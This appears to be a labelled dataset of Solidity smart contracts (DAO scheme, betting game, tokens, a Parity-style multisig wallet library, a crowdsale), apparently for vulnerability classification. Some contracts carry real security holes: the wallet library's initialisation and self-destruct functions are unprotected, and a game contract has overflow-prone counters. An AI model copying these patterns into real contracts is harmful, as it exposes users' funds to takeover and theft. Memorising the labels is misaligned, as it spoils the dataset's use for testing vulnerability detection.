Avatar avatar = proposalsInfo[msg.sender][_proposalId].avatar;
if (avatar == Avatar(0)) {
return false;
}
return ControllerInterface(avatar.owner()).mintReputation(_amount, _beneficiary, address(avatar));
}
function burnReputation(uint256 _amount, address _beneficiary, bytes32 _proposalId)
external
onlyVotingMachine(_proposalId)
returns(bool)
{
Avatar avatar = proposalsInfo[msg.sender][_proposalId].avatar;
if (avatar == Avatar(0)) {
return false;
}
return ControllerInterface(avatar.owner()).burnReputation(_amount, _beneficiary, address(avatar));
}
function stakingTokenTransfer(
IERC20 _stakingToken,
address _beneficiary,
uint256 _amount,
bytes32 _proposalId)
external
onlyVotingMachine(_proposalId)
returns(bool)
{
Avatar avatar = proposalsInfo[msg.sender][_proposalId].avatar;
if (avatar == Avatar(0)) {
return false;
}
return ControllerInterface(avatar.owner()).externalTokenTransfer(_stakingToken, _beneficiary, _amount, avatar);
}
function balanceOfStakingToken(IERC20 _stakingToken, bytes32 _proposalId) external view returns(uint256) {
Avatar avatar = proposalsInfo[msg.sender][_proposalId].avatar;
if (proposalsInfo[msg.sender][_proposalId].avatar == Avatar(0)) {
return 0;
}
return _stakingToken.balanceOf(address(avatar));
}
function getTotalReputationSupply(bytes32 _proposalId) external view returns(uint256) {
ProposalInfo memory proposal = proposalsInfo[msg.sender][_proposalId];
if (proposal.avatar == Avatar(0)) {
return 0;
}
return proposal.avatar.nativeReputation().totalSupplyAt(proposal.blockNumber);
}
function reputationOf(address _owner, bytes32 _proposalId) external view returns(uint256) {
ProposalInfo memory proposal = proposalsInfo[msg.sender][_proposalId];
if (proposal.avatar == Avatar(0)) {
return 0;
}
return proposal.avatar.nativeReputation().balanceOfAt(_owner, proposal.blockNumber);
}
}
pragma solidity ^0.5.4;
contract GlobalConstraintRegistrar is UniversalScheme, VotingMachineCallbacks, ProposalExecuteInterface {
event NewGlobalConstraintsProposal(
address indexed _avatar,
bytes32 indexed _proposalId,
address indexed _intVoteInterface,
address _gc,
bytes32 _params,
bytes32 _voteToRemoveParams,
string _descriptionHash
);
event RemoveGlobalConstraintsProposal(
address indexed _avatar,
bytes32 indexed _proposalId,
address indexed _intVoteInterface,
address _gc,
string _descriptionHash
);
event ProposalExecuted(address indexed _avatar, bytes32 indexed _proposalId, int256 _param);
event ProposalDeleted(address indexed _avatar, bytes32 indexed _proposalId);
struct GCProposal {
address gc;
bool addGC;
bytes32 params;
bytes32 voteToRemoveParams;
}
mapping(address=>mapping(bytes32=>GCProposal)) public organizationsProposals;
mapping(address=>mapping(address=>bytes32)) public voteToRemoveParams;
struct Parameters {
bytes32 voteRegisterParams;
IntVoteInterface intVote;
}
mapping(bytes32=>Parameters) public parameters;
function executeProposal(bytes32 _proposalId, int256 _param) external onlyVotingMachine(_proposalId) returns(bool) {
Avatar avatar = proposalsInfo[msg.sender][_proposalId].avatar;
bool retVal = true;
GCProposal memory proposal = organizationsProposals[address(avatar)][_proposalId];
require(proposal.gc != address(0));
delete organizationsProposals[address(avatar)][_proposalId];
emit ProposalDeleted(address(avatar), _proposalId);
if (_param == 1) {
ControllerInterface controller = ControllerInterface(avatar.owner());
if (proposal.addGC) {
retVal = controller.addGlobalConstraint(proposal.gc, proposal.params, address(avatar));
voteToRemoveParams[address(avatar)][proposal.gc] = proposal.voteToRemoveParams;
}
if (!proposal.addGC) {
retVal = controller.removeGlobalConstraint(proposal.gc, address(avatar));
}
}
emit ProposalExecuted(address(avatar), _proposalId, _param);
return retVal;
}
function setParameters(
bytes32 _voteRegisterParams,
IntVoteInterface _intVote
) public returns(bytes32)
{
bytes32 paramsHash = getParametersHash(_voteRegisterParams, _intVote);
parameters[paramsHash].voteRegisterParams = _voteRegisterParams;
parameters[paramsHash].intVote = _intVote;
return paramsHash;
}
function getParametersHash(
bytes32 _voteRegisterParams,
IntVoteInterface _intVote
) public pure returns(bytes32)
{
return (keccak256(abi.encodePacked(_voteRegisterParams, _intVote)));
}
function proposeGlobalConstraint(
Avatar _avatar,
address _gc,
bytes32 _params,
bytes32 _voteToRemoveParams,
string memory _descriptionHash)
public
returns(bytes32)
{
Parameters memory votingParams = parameters[getParametersFromController(_avatar)];
IntVoteInterface intVote = votingParams.intVote;
bytes32 proposalId = intVote.propose(2, votingParams.voteRegisterParams, msg.sender, address(_avatar));
GCProposal memory proposal = GCProposal({
gc: _gc,
params: _params,
addGC: true,
voteToRemoveParams: _voteToRemoveParams
});
organizationsProposals[address(_avatar)][proposalId] = proposal;
emit NewGlobalConstraintsProposal(
address(_avatar),
proposalId,
address(intVote),
_gc,
_params,
_voteToRemoveParams,
_descriptionHash
);
proposalsInfo[address(intVote)][proposalId] = ProposalInfo({
blockNumber:block.number,
avatar:_avatar
});
return proposalId;
}
function proposeToRemoveGC(Avatar _avatar, address _gc, string memory _descriptionHash) public returns(bytes32) {
ControllerInterface controller = ControllerInterface(_avatar.owner());
require(controller.isGlobalConstraintRegistered(_gc, address(_avatar)));
Parameters memory params = parameters[getParametersFromController(_avatar)];
IntVoteInterface intVote = params.intVote;
bytes32 proposalId = intVote.propose(
2,
voteToRemoveParams[address(_avatar)][_gc],
msg.sender,
address(_avatar)
);
GCProposal memory proposal = GCProposal({
gc: _gc,
params: 0,
addGC: false,
voteToRemoveParams: 0
});
organizationsProposals[address(_avatar)][proposalId] = proposal;
emit RemoveGlobalConstraintsProposal(address(_avatar), proposalId, address(intVote), _gc, _descriptionHash);
proposalsInfo[address(intVote)][proposalId] = ProposalInfo({
blockNumber: block.number,
avatar: _avatar
});
return proposalId;
}
} | 0 | 2,415 |
pragma solidity ^0.4.21;
contract Zandar {
uint8 public constant MAINTENANCE_FEE_PERCENT = 5;
uint8 public constant REFUND_PERCENT = 80;
address admin;
uint public admin_profit = 0;
uint public currentActiveGameID = 0;
struct Game {
uint ticketPrice;
uint bettingPhaseStart;
uint bettingPhaseEnd;
uint claimingPhaseStart;
uint claimingPhaseEnd;
mapping(address => uint8) tickets;
uint8 numTickets;
uint8 numPrizeClaimed;
uint8 winningMultiplier;
uint balance;
}
Game[] public games;
modifier adminOnly() {
require(msg.sender == admin);
_;
}
function Zandar() public{
admin = msg.sender;
}
function() external payable{
admin_profit += msg.value;
}
function createGame(uint _ticketPrice, uint _bettingStartUnixTime,
uint _bettingPhaseDays, uint _waitingPhaseDays,
uint _claimingPhaseDays, uint8 _winningMultiplier) adminOnly external{
uint bettingPhaseEnd = _bettingStartUnixTime + _bettingPhaseDays * 1 days;
uint claimingPhaseStart = bettingPhaseEnd + _waitingPhaseDays * 1 days;
uint claimingPhaseEnd = claimingPhaseStart + _claimingPhaseDays * 1 days;
Game memory g = Game({
ticketPrice: _ticketPrice,
bettingPhaseStart: _bettingStartUnixTime,
bettingPhaseEnd: bettingPhaseEnd,
claimingPhaseStart: claimingPhaseStart,
claimingPhaseEnd: claimingPhaseEnd,
numTickets:0,
numPrizeClaimed:0,
balance:0,
winningMultiplier: _winningMultiplier
});
games.push(g);
}
function setCurrentActiveGameID(uint _id) adminOnly external{
currentActiveGameID = _id;
}
function getNumGames() external view returns (uint){
return games.length;
}
function getNumTicketsPurchased(uint _gameID, address _address) external view returns (uint8){
return games[_gameID].tickets[_address];
}
function getContractBalance() external view returns (uint){
return address(this).balance;
}
function purchaseTicket(uint _gameID) external payable {
require(msg.value >= games[_gameID].ticketPrice);
require(now >= games[_gameID].bettingPhaseStart &&
now < games[_gameID].bettingPhaseEnd);
games[_gameID].tickets[msg.sender] += 1;
games[_gameID].numTickets += 1;
uint admin_fee = games[_gameID].ticketPrice * MAINTENANCE_FEE_PERCENT/100;
admin_profit += admin_fee;
games[_gameID].balance += msg.value - admin_fee;
}
function claimProfit(uint _gameID) external {
require(now >= games[_gameID].claimingPhaseStart &&
now < games[_gameID].claimingPhaseEnd);
require(games[_gameID].tickets[msg.sender]>0);
require(games[_gameID].numPrizeClaimed <
games[_gameID].numTickets/games[_gameID].winningMultiplier);
games[_gameID].numPrizeClaimed += 1;
games[_gameID].tickets[msg.sender] -= 1;
uint reward = games[_gameID].ticketPrice *
games[_gameID].winningMultiplier * (100-MAINTENANCE_FEE_PERCENT) / 100;
msg.sender.transfer(reward);
games[_gameID].balance -= reward;
}
function getRefund(uint _gameID) external {
require(now < games[_gameID].claimingPhaseStart - 1 days);
require(games[_gameID].tickets[msg.sender]>0);
games[_gameID].tickets[msg.sender] -= 1;
games[_gameID].numTickets -= 1;
uint refund = games[_gameID].ticketPrice * REFUND_PERCENT / 100;
uint admin_fee = games[_gameID].ticketPrice *
(100 - REFUND_PERCENT - MAINTENANCE_FEE_PERCENT) / 100;
admin_profit += admin_fee;
games[_gameID].balance -= games[_gameID].ticketPrice *
(100 - MAINTENANCE_FEE_PERCENT) / 100;
msg.sender.transfer(refund);
}
function getAdminFee() adminOnly external {
require(admin_profit > 0);
msg.sender.transfer(admin_profit);
admin_profit = 0;
}
function getUnclaimedEtherIfAny(uint _gameID) adminOnly external {
require(now >= games[_gameID].claimingPhaseEnd);
require(games[_gameID].balance > 0);
msg.sender.transfer(games[_gameID].balance);
games[_gameID].balance = 0;
}
function transferOwnership(address _newAdmin) adminOnly external {
admin = _newAdmin;
}
} | 1 | 5,177 |
pragma solidity ^0.4.20;
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract FreezableToken is StandardToken {
mapping (bytes32 => uint64) internal chains;
mapping (bytes32 => uint) internal freezings;
mapping (address => uint) internal freezingBalance;
event Freezed(address indexed to, uint64 release, uint amount);
event Released(address indexed owner, uint amount);
function balanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner) + freezingBalance[_owner];
}
function actualBalanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner);
}
function freezingBalanceOf(address _owner) public view returns (uint256 balance) {
return freezingBalance[_owner];
}
function freezingCount(address _addr) public view returns (uint count) {
uint64 release = chains[toKey(_addr, 0)];
while (release != 0) {
count ++;
release = chains[toKey(_addr, release)];
}
}
function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) {
for (uint i = 0; i < _index + 1; i ++) {
_release = chains[toKey(_addr, _release)];
if (_release == 0) {
return;
}
}
_balance = freezings[toKey(_addr, _release)];
}
function freezeTo(address _to, uint _amount, uint64 _until) public {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
Freezed(_to, _until, _amount);
}
function releaseOnce() public {
bytes32 headKey = toKey(msg.sender, 0);
uint64 head = chains[headKey];
require(head != 0);
require(uint64(block.timestamp) > head);
bytes32 currentKey = toKey(msg.sender, head);
uint64 next = chains[currentKey];
uint amount = freezings[currentKey];
delete freezings[currentKey];
balances[msg.sender] = balances[msg.sender].add(amount);
freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount);
if (next == 0) {
delete chains[headKey];
}
else {
chains[headKey] = next;
delete chains[currentKey];
}
Released(msg.sender, amount);
}
function releaseAll() public returns (uint tokens) {
uint release;
uint balance;
(release, balance) = getFreezing(msg.sender, 0);
while (release != 0 && block.timestamp > release) {
releaseOnce();
tokens += balance;
(release, balance) = getFreezing(msg.sender, 0);
}
}
function toKey(address _addr, uint _release) internal pure returns (bytes32 result) {
result = 0x5749534800000000000000000000000000000000000000000000000000000000;
assembly {
result := or(result, mul(_addr, 0x10000000000000000))
result := or(result, _release)
}
}
function freeze(address _to, uint64 _until) internal {
require(_until > block.timestamp);
bytes32 key = toKey(_to, _until);
bytes32 parentKey = toKey(_to, uint64(0));
uint64 next = chains[parentKey];
if (next == 0) {
chains[parentKey] = _until;
return;
}
bytes32 nextKey = toKey(_to, next);
uint parent;
while (next != 0 && _until > next) {
parent = next;
parentKey = nextKey;
next = chains[nextKey];
nextKey = toKey(_to, next);
}
if (_until == next) {
return;
}
if (next != 0) {
chains[key] = next;
}
chains[parentKey] = _until;
}
}
contract ERC223Receiver {
function tokenFallback(address _from, uint _value, bytes _data) public;
}
contract ERC223Basic is ERC20Basic {
function transfer(address to, uint value, bytes data) public returns (bool);
event Transfer(address indexed from, address indexed to, uint value, bytes data);
}
contract SuccessfulERC223Receiver is ERC223Receiver {
event Invoked(address from, uint value, bytes data);
function tokenFallback(address _from, uint _value, bytes _data) public {
Invoked(_from, _value, _data);
}
}
contract FailingERC223Receiver is ERC223Receiver {
function tokenFallback(address, uint, bytes) public {
revert();
}
}
contract ERC223ReceiverWithoutTokenFallback {
}
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
require(_value > 0);
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(burner, _value);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract FreezableMintableToken is FreezableToken, MintableToken {
function mintAndFreeze(address _to, uint _amount, uint64 _until) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
Mint(_to, _amount);
Freezed(_to, _until, _amount);
return true;
}
}
contract Consts {
uint constant TOKEN_DECIMALS = 8;
uint8 constant TOKEN_DECIMALS_UINT8 = 8;
uint constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS;
string constant TOKEN_NAME = "DICO";
string constant TOKEN_SYMBOL = "DICO";
bool constant PAUSED = true;
address constant TARGET_USER = 0x429B892e0e3B66accA6AeAE26A6892a1948d650D;
uint constant START_TIME = 1527346800;
bool constant CONTINUE_MINTING = true;
}
contract ERC223Token is ERC223Basic, BasicToken, FailingERC223Receiver {
using SafeMath for uint;
function transfer(address _to, uint _value, bytes _data) public returns (bool) {
uint codeLength;
assembly {
codeLength := extcodesize(_to)
}
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
if(codeLength > 0) {
ERC223Receiver receiver = ERC223Receiver(_to);
receiver.tokenFallback(msg.sender, _value, _data);
}
Transfer(msg.sender, _to, _value, _data);
return true;
}
function transfer(address _to, uint256 _value) public returns (bool) {
bytes memory empty;
return transfer(_to, _value, empty);
}
}
contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable
{
function name() pure public returns (string _name) {
return TOKEN_NAME;
}
function symbol() pure public returns (string _symbol) {
return TOKEN_SYMBOL;
}
function decimals() pure public returns (uint8 _decimals) {
return TOKEN_DECIMALS_UINT8;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transfer(_to, _value);
}
} | 1 | 4,705 |
pragma solidity ^0.4.6;
contract multisig {
event Confirmation(address owner, bytes32 operation);
event Revoke(address owner, bytes32 operation);
event OwnerChanged(address oldOwner, address newOwner);
event OwnerAdded(address newOwner);
event OwnerRemoved(address oldOwner);
event RequirementChanged(uint newRequirement);
event Deposit(address _from, uint value);
event SingleTransact(address owner, uint value, address to, bytes data);
event MultiTransact(address owner, bytes32 operation, uint value, address to, bytes data);
event ConfirmationNeeded(bytes32 operation, address initiator, uint value, address to, bytes data);
}
contract multisigAbi is multisig {
function isOwner(address _addr) returns (bool);
function hasConfirmed(bytes32 _operation, address _owner) constant returns (bool);
function confirm(bytes32 _h) returns(bool);
function setDailyLimit(uint _newLimit);
function addOwner(address _owner);
function removeOwner(address _owner);
function changeRequirement(uint _newRequired);
function revoke(bytes32 _operation);
function changeOwner(address _from, address _to);
function execute(address _to, uint _value, bytes _data) returns(bool);
}
contract WalletLibrary is multisig {
struct PendingState {
uint yetNeeded;
uint ownersDone;
uint index;
}
struct Transaction {
address to;
uint value;
bytes data;
}
modifier onlyowner {
if (isOwner(msg.sender))
_;
}
modifier onlymanyowners(bytes32 _operation) {
if (confirmAndCheck(_operation))
_;
}
function initMultiowned(address[] _owners, uint _required) {
m_numOwners = _owners.length ;
m_required = _required;
for (uint i = 0; i < _owners.length; ++i)
{
m_owners[1 + i] = uint(_owners[i]);
m_ownerIndex[uint(_owners[i])] = 1 + i;
}
}
function revoke(bytes32 _operation) {
uint ownerIndex = m_ownerIndex[uint(msg.sender)];
if (ownerIndex == 0) return;
uint ownerIndexBit = 2**ownerIndex;
var pending = m_pending[_operation];
if (pending.ownersDone & ownerIndexBit > 0) {
pending.yetNeeded++;
pending.ownersDone -= ownerIndexBit;
Revoke(msg.sender, _operation);
}
}
function changeOwner(address _from, address _to) onlymanyowners(sha3(msg.data)) {
if (isOwner(_to)) return;
uint ownerIndex = m_ownerIndex[uint(_from)];
if (ownerIndex == 0) return;
clearPending();
m_owners[ownerIndex] = uint(_to);
m_ownerIndex[uint(_from)] = 0;
m_ownerIndex[uint(_to)] = ownerIndex;
OwnerChanged(_from, _to);
}
function addOwner(address _owner) onlymanyowners(sha3(msg.data)) {
if (isOwner(_owner)) return;
clearPending();
if (m_numOwners >= c_maxOwners)
reorganizeOwners();
if (m_numOwners >= c_maxOwners)
return;
m_numOwners++;
m_owners[m_numOwners] = uint(_owner);
m_ownerIndex[uint(_owner)] = m_numOwners;
OwnerAdded(_owner);
}
function removeOwner(address _owner) onlymanyowners(sha3(msg.data)) {
uint ownerIndex = m_ownerIndex[uint(_owner)];
if (ownerIndex == 0) return;
if (m_required > m_numOwners - 1) return;
m_owners[ownerIndex] = 0;
m_ownerIndex[uint(_owner)] = 0;
clearPending();
reorganizeOwners();
OwnerRemoved(_owner);
}
function changeRequirement(uint _newRequired) onlymanyowners(sha3(msg.data)) {
if (_newRequired > m_numOwners) return;
m_required = _newRequired;
clearPending();
RequirementChanged(_newRequired);
}
function isOwner(address _addr) returns (bool) {
return m_ownerIndex[uint(_addr)] > 0;
}
function hasConfirmed(bytes32 _operation, address _owner) constant returns (bool) {
var pending = m_pending[_operation];
uint ownerIndex = m_ownerIndex[uint(_owner)];
if (ownerIndex == 0) return false;
uint ownerIndexBit = 2**ownerIndex;
return !(pending.ownersDone & ownerIndexBit == 0);
}
function confirmAndCheck(bytes32 _operation) internal returns (bool) {
uint ownerIndex = m_ownerIndex[uint(msg.sender)];
if (ownerIndex == 0) return;
var pending = m_pending[_operation];
if (pending.yetNeeded == 0) {
pending.yetNeeded = m_required;
pending.ownersDone = 0;
pending.index = m_pendingIndex.length++;
m_pendingIndex[pending.index] = _operation;
}
uint ownerIndexBit = 2**ownerIndex;
if (pending.ownersDone & ownerIndexBit == 0) {
Confirmation(msg.sender, _operation);
if (pending.yetNeeded <= 1) {
delete m_pendingIndex[m_pending[_operation].index];
delete m_pending[_operation];
return true;
}
else
{
pending.yetNeeded--;
pending.ownersDone |= ownerIndexBit;
}
}
}
function reorganizeOwners() private {
uint free = 1;
while (free < m_numOwners)
{
while (free < m_numOwners && m_owners[free] != 0) free++;
while (m_numOwners > 1 && m_owners[m_numOwners] == 0) m_numOwners--;
if (free < m_numOwners && m_owners[m_numOwners] != 0 && m_owners[free] == 0)
{
m_owners[free] = m_owners[m_numOwners];
m_ownerIndex[m_owners[free]] = free;
m_owners[m_numOwners] = 0;
}
}
}
function clearPending() internal {
uint length = m_pendingIndex.length;
for (uint i = 0; i < length; ++i)
if (m_pendingIndex[i] != 0)
delete m_pending[m_pendingIndex[i]];
delete m_pendingIndex;
}
modifier limitedDaily(uint _value) {
if (underLimit(_value))
_;
}
function initDaylimit(uint _limit) {
m_dailyLimit = _limit;
m_lastDay = today();
}
function setDailyLimit(uint _newLimit) onlymanyowners(sha3(msg.data)) {
m_dailyLimit = _newLimit;
}
function resetSpentToday() onlymanyowners(sha3(msg.data)) {
m_spentToday = 0;
}
function underLimit(uint _value) internal onlyowner returns (bool) {
if (today() > m_lastDay) {
m_spentToday = 0;
m_lastDay = today();
}
if (m_spentToday + _value >= m_spentToday && m_spentToday + _value <= m_dailyLimit) {
m_spentToday += _value;
return true;
}
return false;
}
function today() private constant returns (uint) { return now / 1 days; }
function initWallet(address[] _owners, uint _required, uint _daylimit) {
initMultiowned(_owners, _required);
initDaylimit(_daylimit) ;
}
function kill(address _to) onlymanyowners(sha3(msg.data)) {
suicide(_to);
}
function execute(address _to, uint _value, bytes _data) onlyowner returns(bool _callValue) {
if (underLimit(_value)) {
SingleTransact(msg.sender, _value, _to, _data);
_callValue =_to.call.value(_value)(_data);
} else {
bytes32 _r = sha3(msg.data, block.number);
if (!confirm(_r) && m_txs[_r].to == 0) {
m_txs[_r].to = _to;
m_txs[_r].value = _value;
m_txs[_r].data = _data;
ConfirmationNeeded(_r, msg.sender, _value, _to, _data);
}
}
}
function confirm(bytes32 _h) onlymanyowners(_h) returns (bool) {
if (m_txs[_h].to != 0) {
m_txs[_h].to.call.value(m_txs[_h].value)(m_txs[_h].data);
MultiTransact(msg.sender, _h, m_txs[_h].value, m_txs[_h].to, m_txs[_h].data);
delete m_txs[_h];
return true;
}
}
function clearWalletPending() internal {
uint length = m_pendingIndex.length;
for (uint i = 0; i < length; ++i)
delete m_txs[m_pendingIndex[i]];
clearPending();
}
address constant _walletLibrary = 0x4f2875f631f4fc66b8e051defba0c9f9106d7d5a;
uint m_required;
uint m_numOwners;
uint public m_dailyLimit;
uint public m_spentToday;
uint public m_lastDay;
uint[256] m_owners;
uint constant c_maxOwners = 250;
mapping(uint => uint) m_ownerIndex;
mapping(bytes32 => PendingState) m_pending;
bytes32[] m_pendingIndex;
mapping (bytes32 => Transaction) m_txs;
} | 0 | 2,185 |
pragma solidity ^0.4.18;
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract PagosToken is MintableToken {
string public constant name = "Pagos Token";
string public constant symbol = "PGO";
uint8 public decimals = 18;
bool public tradingStarted = false;
modifier hasStartedTrading() {
require(tradingStarted);
_;
}
function startTrading() onlyOwner public {
tradingStarted = true;
}
function transfer(address _to, uint _value) hasStartedTrading public returns (bool){
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint _value) hasStartedTrading public returns (bool){
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public hasStartedTrading returns (bool) {
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public hasStartedTrading returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public hasStartedTrading returns (bool success) {
return super.decreaseApproval(_spender, _subtractedValue);
}
}
contract Crowdsale {
using SafeMath for uint256;
MintableToken public token;
uint256 public startTime;
uint256 public endTime;
address public wallet;
uint256 public rate;
uint256 public weiRaised;
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
function Crowdsale(uint256 _startTime, uint256 _endTime, uint256 _rate, address _wallet) public {
require(_startTime >= now);
require(_endTime >= _startTime);
require(_rate > 0);
require(_wallet != address(0));
token = createTokenContract();
startTime = _startTime;
endTime = _endTime;
rate = _rate;
wallet = _wallet;
}
function createTokenContract() internal returns (MintableToken) {
return new MintableToken();
}
function () external payable {
